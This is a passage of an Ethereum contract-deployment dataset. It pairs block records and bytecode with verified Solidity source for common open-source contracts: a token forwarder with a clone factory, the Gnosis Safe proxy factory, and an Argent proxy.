{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,330 |
796098379aba508bdf76a96d336598729062f61074b99f89edfdf9e461c80157
|
fd279cf63b1c9ec239a7388016de34f85b8e9e24eb616de99330f22f6f497402
|
3aeb5831f91d29b3992d659821a7fed7b805a107
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
d2aa959fd160b1ab88a71f5a9cc11804cc7a51f2
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,337 |
92c620afddf3728ed6667578b36591127706773cf97e98f8e4559ce9f681584a
|
9d8eece66a30ae61cce1a222469a3ec25ebf6e49bc1b222e41ddd6a434167497
|
c6a3120c49db2571ffd7aecfccfbb84bc8bdad72
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
78a1e5ed1c41d0e5149449d30b2fef8b77cab1d5
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,338 |
75924cdb5fe5f8e5461834aa41c31be56f72cf5363246364bc0fafcd59c54d23
|
b0e7ab9e6dea31ebd312362f6560f02440f2f3ebcebbe84a5a1c702e71fd552c
|
f7f8bbb310df9cf0a99b2121c27a9f891507fedb
|
536384fcd25b576265b6775f383d5ac408ff9db7
|
dade59528caf53faa9bfce72d6cd3aa88e2e7ee2
|
60a060405234801561001057600080fd5b506040516101d43803806101d483398101604081905261002f91610044565b60601b6001600160601b031916608052610072565b600060208284031215610055578081fd5b81516001600160a01b038116811461006b578182fd5b9392505050565b60805160601c61013f610095600039600081816069015260be015261013f6000f3fe6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f00000000000000000000000000000000000000000000000000000000000000003660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033000000000000000000000000ab00ea153c43575184ff11dd5e713c96be005573
|
6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be0055733660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be00557381565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033
|
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
/**
* @title Proxy
* @notice Basic proxy that delegates all calls to a fixed implementing contract.
* The implementing contract cannot be upgraded.
* @author Julien Niset - <julien@argent.xyz>
*/
contract Proxy {
address immutable public implementation;
event Received(uint indexed value, address indexed sender, bytes data);
constructor(address _implementation) {
implementation = _implementation;
}
fallback() external payable {
address target = implementation;
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {revert(0, returndatasize())}
default {return (0, returndatasize())}
}
}
receive() external payable {
emit Received(msg.value, msg.sender, "");
}
}
|
1 | 19,497,344 |
cbb216011cb3808f2e519230cbb0563ea37c3d8dc95bbad15e48fb72f0131f9e
|
9039c08168a8ff69a8e645d60e58f858fb5d792911f319b267b9e5b4e3e6e1ef
|
2616ace5a3f13922ab86bad37de98f3d7c240dde
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
dce92272831acde9682226dd1ed01ac9658f165a
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,351 |
8febda120f4a9a0d25779759b733549afc22d7f2837616bda03e1a471952f891
|
c37a86c089678364d13f4f929d9626b5b0228ac493a52ab4fe79667c9e228a9a
|
37135fced65e9467e43056bcbbe7b0ba6e04bba8
|
37135fced65e9467e43056bcbbe7b0ba6e04bba8
|
c301968d173c99384063b103d696f120372cd007
|
